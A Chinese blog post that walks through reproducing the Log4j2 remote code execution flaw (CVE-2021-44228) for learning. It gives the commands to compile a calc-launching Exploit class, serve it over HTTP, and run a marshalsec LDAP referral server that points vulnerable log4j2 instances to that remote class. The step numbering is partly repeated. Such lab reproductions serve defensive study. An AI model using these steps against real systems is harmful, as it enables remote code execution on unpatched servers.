CVE-2021-44228 log4j2-RCE-复现篇

声明:供漏洞理解学习及安全加固解决方案,请勿利用漏洞于非法途径,后果自负


复现工具:(复现工具很多,都可以测一下,个人比较喜欢集成化不太好的,方便理解)

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

下载复现工具:

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git


一.本地调用计算器复现

1.本地生成Exploit.class恶意文件类,里面写入了恶意代码calc

X:\\XXX\\XXX\\XXXX\\XXXXX\\CVE-2021-44228-Apache-Log4j-Rce-main\\src\\main\\java\\Exploit.java中写入calc命令

cd X:\\XXX\\XXX\\XXXX\\XXXXX\\CVE-2021-44228-Apache-Log4j-Rce-main\\src\\main\\java
javac Exploit.java #编译含有恶意代码的文件Exploit.java,生成Exploit.class

(这里可以将Exploit.class放入我们的一台http服务器,挂在http服务端网页路径中)

2.搭建本地http服务

本地开启http服务(127.0.0.1:8888)

python -m http.server 8888         #开启http服务,python3使用http.server

3.开启LDAP监听

cd X:\\XXX\\XXX\\XXXX\\XXXXX\\CVE-2021-44228-Apache-Log4j-Rce-main\\tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit

4.模拟log4j2启动

运行原理:logger.error或logger.info写日志调用POC则会调用Exploit.class中的恶意代码,实现RCE。也就是说,log4j2漏洞版本只要是能写日志的,都可以触发

X:\\XXX\\XXX\\XXXX\\XXXXX\\CVE-2021-44228-Apache-Log4j-Rce-main\\src\\main\\java\\log4j.java

放到apache2的网页目录下

mv Exploit.class /var/www/html

这样含有恶意命令的类Exploit.class就放好拉~

3.本地开启ldap监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://XXX.XXX.XXX.XXX:XX/#Exploit

4.本地运行log4j2(理解为LDAP客户端)触发漏洞


(注意:当指向的远程服务器中不存在的类的话,则无法触发漏洞,可以测一下,方便理解):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://XXX.XXX.XXX.XXX:/#E                    # 指向一个不存在的类E.class

本站文章资源均来源自网络,除非特别声明,否则均不代表站方观点,并仅供查阅,不作为任何参考依据!
如有侵权请及时跟我们联系,本站将及时删除!
如遇版权问题,请查看 本站版权声明
THE END
分享
二维码
海报
CVE-2021-44228 log4j2-RCE-复现篇
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
<<上一篇
下一篇>>